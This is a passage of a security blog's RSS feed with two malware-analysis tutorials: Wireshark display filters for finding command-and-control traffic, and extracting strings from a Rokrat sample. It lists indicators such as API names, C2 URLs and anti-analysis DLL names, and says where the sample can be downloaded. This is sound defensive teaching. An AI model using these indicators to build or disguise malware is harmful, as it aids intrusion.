&lt;li&gt;&lt;a href=&quot;https://www.malware-traffic-analysis.net/tutorials/wireshark/index2.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt; Adding HTTPS server names to the column display in Wireshark &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;wireshark-display-filters&quot;&gt;Wireshark display filters&lt;/h4&gt;
&lt;p&gt;
&lt;table id=&quot;tablepress-4&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Display filter&lt;/th&gt;&lt;th&gt;Comments&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;!(ssdp or udp)&lt;/td&gt;&lt;td&gt;This not filter can be used when you want to filter any noise from specific protocol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dns or http&lt;/td&gt;&lt;td&gt;It will show all the packets with protocol dns or http. &lt;br/&gt;
It can be used as starting point in analysis for checking any suspicious dns request or http to identify any CC.&lt;br/&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ip.addr == 192.168.0.1&lt;br/&gt;
same as&lt;br/&gt;
ip.src == 192.168.0.1 or ip.dst == 192.168.0.1&lt;/td&gt;&lt;td&gt;Matches against both the IP source and destination addresses in the IP header.  &lt;br/&gt;
It can be used to filter when you know ip address of CC/victim machine.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;http.request&lt;/td&gt;&lt;td&gt;Display all types of http request e.g GET, POST etc.&lt;br/&gt;
This can be also good starting point to check if malware is sending any http request to CC.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;http contains &quot;Mozilla/5.0&quot;&lt;/td&gt;&lt;td&gt;Search for the string in http protocol.&lt;br/&gt;
It is very useful if you are looking for specific strings.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;http contains 6d:73:77:6f:72:64&lt;/td&gt;&lt;td&gt;You can also search using hex instead of ascii strings.&lt;br/&gt;
6d:73:77:6f:72:64 == msword&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;http.file_data matches &quot;^MZ&quot;&lt;/td&gt;&lt;td&gt;Match the given case-insensitive Perl-compatible regular expression(PCRE) with file_data.&lt;br/&gt;
It can be used to match any file type magic bytes which is present in http filedata.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ssl.handshake.type == 1&lt;/td&gt;&lt;td&gt;Matches ssl client hello type request.&lt;br/&gt;
Good for extracting CC for malware using SSL.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tcp.port == 1300&lt;br/&gt;
same as &lt;br/&gt;
tcp.dstport == 1300 or tcp.srcport == 1300&lt;/td&gt;&lt;td&gt;Matches source or destination port for tcp protocol.&lt;br/&gt;
It&apos;s useful when malware uses custom port for communication to CC e.g Darkcomet.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tcp.port == 1300 and tcp.flags == 0x2&lt;/td&gt;&lt;td&gt;Filter based on port and SYN flag in tcp packet.&lt;br/&gt;
It useful to remove the noise and extract CC.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- #tablepress-4 from cache --&gt;&lt;br/&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Note: When you enter invalid filter in Wireshark then the colour will change to red.&lt;/p&gt;
&lt;/aside&gt;
&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;iframe allowfullscreen=&quot;1&quot; loading=&quot;lazy&quot; src=&quot;https://www.youtube.com/embed/ssSArtwAmCM?autoplay=0&amp;amp;controls=1&amp;amp;origin=https://www.securityinbits.com&amp;amp;loop=0&amp;amp;mute=0&quot; title=&quot;Youtube video player&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;download-pcap&quot;&gt;Download pcap&lt;/h4&gt;
&lt;p&gt;I will highly recommend downloading the infection traffic pcap from this &lt;a href=&quot;https://www.malware-traffic-analysis.net/2018/04/23/index2.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt; and practicing different display filters. After going through the pcap, I was able to create the following display filter which shows all valid IoCs and remove the noise from pcap.&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
http.request or dns.qry.name matches &quot;(hopto|ddns)&quot; or ssl.handshake.type == 1&lt;br/&gt;
or (tcp.flags == 0x2 and not tcp.dstport in {443 80})&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&quot;references&quot;&gt;References&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wireshark.org/docs/man-pages/wireshark-filter.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;https://www.wireshark.org/docs/man-pages/wireshark-filter.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wiki.wireshark.org/DisplayFilters&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;https://wiki.wireshark.org/DisplayFilters&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.malware-traffic-analysis.net/index.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;https://www.malware-traffic-analysis.net/index.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content:encoded><category>tools</category><category>filter</category><category>video-tutorial</category><category>wireshark</category></item><item><title>Extract strings</title><link>https://www.securityinbits.com/malware-analysis/extract-strings/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=8</guid><description>Extracting strings is important step in malware anlaysis. We will learn how we can extract/interpret strings from malware.</description><pubDate>Sun, 29 Apr 2018 09:08:30 GMT</pubDate><content:encoded>&lt;p&gt;Extracting strings is an important step in malware analysis. In this post we will concentrate on static analysis and learn how we can extract/interpret strings from malware. You can download Rokrat (MD5: b441d9a75c60b222e3c9fd50c0d14c5b) from &lt;a href=&quot;https://www.virustotal.com/#/file/9b383ebc1c592d5556fec9d513223d4f99a5061591671db560faf742dd68493f/detection&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;VirusTotal&lt;/a&gt; / &lt;a href=&quot;https://beta.virusbay.io/sample/browse/b441d9a75c60b222e3c9fd50c0d14c5b&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;VirusBay&lt;/a&gt; / &lt;a href=&quot;https://app.any.run/tasks/5bad79f2-611f-4b61-bf99-145bdd616108/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;why-do-we-need-to-do-this&quot;&gt;Why do we need to do this?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Guess the malware functionality based on the strings.&lt;/li&gt;
&lt;li&gt;If we google some of the strings, we may find some related articles/hashes online.&lt;/li&gt;
&lt;li&gt;Guess file type, compiler info, packer etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;tools&quot;&gt;Tools&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Windows: &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/strings&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Sysinternals Strings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Linux: Install binutils e.g. &lt;code&gt;sudo apt install binutils&lt;/code&gt; for GNU strings utility&lt;/li&gt;
&lt;li&gt;macOS: Inbuilt strings tool doesn’t cover the Unicode strings, it only extract the ASCII strings so we need to install GNU strings using &lt;code&gt;brew install binutils&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;how-to-extract&quot;&gt;How to extract?&lt;/h4&gt;
&lt;p&gt;For Linux/macOS, if you use GNU strings then use following command and default minimum length is 4&lt;br/&gt;
&lt;code&gt;strings -a malware.exe.   --&amp;gt; ASCII strings&lt;br/&gt;
strings -a -el malware.exe --&amp;gt; Unicode Strings&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For Windows, I use strings from Sysinternals and default minimum length is 3&lt;br/&gt;
&lt;code&gt;strings malware.exe  --&amp;gt; ASCII and Unicode strings&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Sysinternals &lt;strong&gt;Strings&lt;/strong&gt; tool search for ASCII and Unicode strings in binary images.After you execute the tool without any parameter it will show you different options.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2018/04/sysinternal-strings.png&quot;&gt;&lt;img alt=&quot;Sysinternal strings help&quot; decoding=&quot;async&quot; height=&quot;332&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2018/04/sysinternal-strings.png&quot; srcset=&quot;/wp-content/uploads/2018/04/sysinternal-strings-300x130.png 300w, /wp-content/uploads/2018/04/sysinternal-strings.png 854w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;When strings is executed without any option it will extract Unicode and ascii strings with default string length of 3.&lt;/p&gt;
&lt;h5&gt;Steps&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;strings &amp;lt;file_path&amp;gt; &amp;gt; output.txt&lt;/li&gt;
&lt;li&gt;Open output.txt in your favourite editor&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;packed-dummy-rokrat-strings&quot;&gt;Packed Dummy Rokrat strings&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;strings -nobanner rokrat_dummy.sample &amp;gt; packed_strings.txt&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2018/04/packed_rokrat_strings.png&quot;&gt;&lt;img alt=&quot;Packed Rokrat strings&quot; decoding=&quot;async&quot; height=&quot;114&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 561px) 100vw, 561px&quot; src=&quot;/wp-content/uploads/2018/04/packed_rokrat_strings.png&quot; srcset=&quot;/wp-content/uploads/2018/04/packed_rokrat_strings.png 561w, /wp-content/uploads/2018/04/packed_rokrat_strings-300x61.png 300w&quot; width=&quot;561&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Note: If you feel there is a lot of noise generated then you can change the minimum length to 6 using cmd mentioned below. But you may lose some important strings.&lt;/p&gt;
&lt;/aside&gt;&lt;p&gt;&lt;code&gt;strings -nobanner -n 6 rokrat_dummy.sample &amp;gt; packed_strings.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;It generated around 5014 strings, please go through the strings output(i.e. &lt;a href=&quot;https://pastebin.com/rfaRUpkc&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;packed_strings.txt&lt;/a&gt;) before reading further and try to guess the usage.&lt;/p&gt;
&lt;h6&gt;Some observations from extracted strings&lt;/h6&gt;
&lt;table id=&quot;tablepress-1&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Strings&lt;/th&gt;&lt;th&gt;Comments&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;.text&lt;br/&gt;
`.rdata&lt;br/&gt;
@.data&lt;br/&gt;
.rsrc&lt;br/&gt;
@.reloc&lt;/td&gt;&lt;td&gt;Section names&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;An application has made an attempt to load the C runtime library incorrectly.&lt;br/&gt;
Please contact the application&apos;s support team for more information.&lt;br/&gt;
R6033&lt;br/&gt;
- Attempt to use MSIL code from this assembly during native code initialization&lt;br/&gt;
&lt;/td&gt;&lt;td&gt;Strings related to library code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;gt;@|&lt;br/&gt;
3@|&lt;br/&gt;
K@|&lt;br/&gt;
&amp;amp;@|&lt;br/&gt;
#@}&lt;br/&gt;
&lt;/td&gt;&lt;td&gt;Some of the strings are not useful, you can ignore them&lt;br/&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GetTempPathW&lt;br/&gt;
VirtualAllocEx&lt;br/&gt;
LockResource&lt;br/&gt;
WriteProcessMemory&lt;/td&gt;&lt;td&gt;API name&lt;br/&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- #tablepress-1 from cache --&gt;
&lt;h6&gt;Few important strings&lt;/h6&gt;
&lt;table id=&quot;tablepress-2&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Strings&lt;/th&gt;&lt;th&gt;Guess (or comments)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;cmd.exe&lt;/td&gt;&lt;td&gt;Maybe it is using cmd.exe to execute some program?&lt;br/&gt;
Maybe looking for this process name?&lt;br/&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb&lt;br/&gt;
&lt;/td&gt;&lt;td&gt;PDB Path: After googling, you may find related samples/articles&lt;br/&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PST&lt;br/&gt;
PDT&lt;br/&gt;
photo.jpg&lt;br/&gt;
Exif&lt;br/&gt;
Adobe Photoshop CC 2017 (Windows)&lt;br/&gt;
2017:09:29 23:17:46&lt;br/&gt;
Adobe Photoshop CC 2017&lt;br/&gt;
&lt;br/&gt;
&lt;/td&gt;&lt;td&gt;photo.jpg file embedded in the file?&lt;br/&gt;
Made by Adobe photoshop CC ?&lt;br/&gt;
2017:09:29 23:17:46 May be creation date?&lt;br/&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- #tablepress-2 from cache --&gt;
&lt;h4 id=&quot;unpacked-rokrat-strings&quot;&gt;Unpacked Rokrat strings&lt;/h4&gt;
&lt;p&gt;I have unpacked the b441d9a75c60b222e3c9fd50c0d14c5b sample and extracted the &lt;a href=&quot;https://pastebin.com/ux8Xkm3G&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;unpacked strings&lt;/a&gt; with minimum length 6.&lt;br/&gt;
&lt;code&gt;strings -nobanner -n 6 unpacked_rokrat.sample &amp;gt; rokrat_unpacked_strings.txt&lt;/code&gt;&lt;/p&gt;
&lt;h6&gt;Few important strings&lt;/h6&gt;
&lt;table id=&quot;tablepress-3&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Strings&lt;/th&gt;&lt;th&gt;Guess (or comments)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;https://api.box.com/oauth2/token&lt;br/&gt;
https://account.box.com/api/oauth2/authorize&lt;br/&gt;
https://cloud-api.yandex.net/v1/disk/resources?path=%s&amp;amp;permanently=%s&lt;br/&gt;
...&lt;/td&gt;&lt;td&gt;Used as CC?&lt;br/&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;System manufacturer&lt;br/&gt;
(Other)&lt;br/&gt;
(Unknown)&lt;br/&gt;
(Desktop)&lt;br/&gt;
(Low Profile Desktop)&lt;br/&gt;
(Mini Tower)&lt;br/&gt;
....&lt;br/&gt;
&lt;/td&gt;&lt;td&gt;Collecting systeminfo and sending this info to CC ?&lt;br/&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SbieDll.dll&lt;br/&gt;
api_log.dll&lt;br/&gt;
C:\Program Files\VMware\VMware Tools\vmtoolsd.exe&lt;br/&gt;
.....&lt;/td&gt;&lt;td&gt;Anti-analysis techniques&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- #tablepress-3 from cache --&gt;
&lt;h4 id=&quot;what-to-look-for&quot;&gt;What to look for?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Domain names/IP address(or CC)&lt;/li&gt;
&lt;li&gt;Registry keys&lt;/li&gt;
&lt;li&gt;Network request pattern&lt;/li&gt;
&lt;li&gt;PDB path&lt;/li&gt;
&lt;li&gt;Directory/File path or name&lt;/li&gt;
&lt;li&gt;List of application names e.g Chrome, Firefox, Skype, FTP application etc.&lt;/li&gt;
&lt;li&gt;Malware analysis tools&lt;/li&gt;
&lt;li&gt;Any other unique strings&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;when-will-it-fail&quot;&gt;When will it fail?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;File is packed&lt;/li&gt;
&lt;li&gt;Strings are encrypted/encoded&lt;/li&gt;
&lt;li&gt;Maybe the file is just a downloader and CC are encrypted?&lt;/li&gt;
&lt;li&gt;Many others…..&lt;/li&gt;
&lt;/ul&gt;

</content:encoded><category>malware-analysis</category><category>malware-analysis/static-analysis</category><category>pe</category><category>rokrat</category><category>strings</category></item></channel></rss>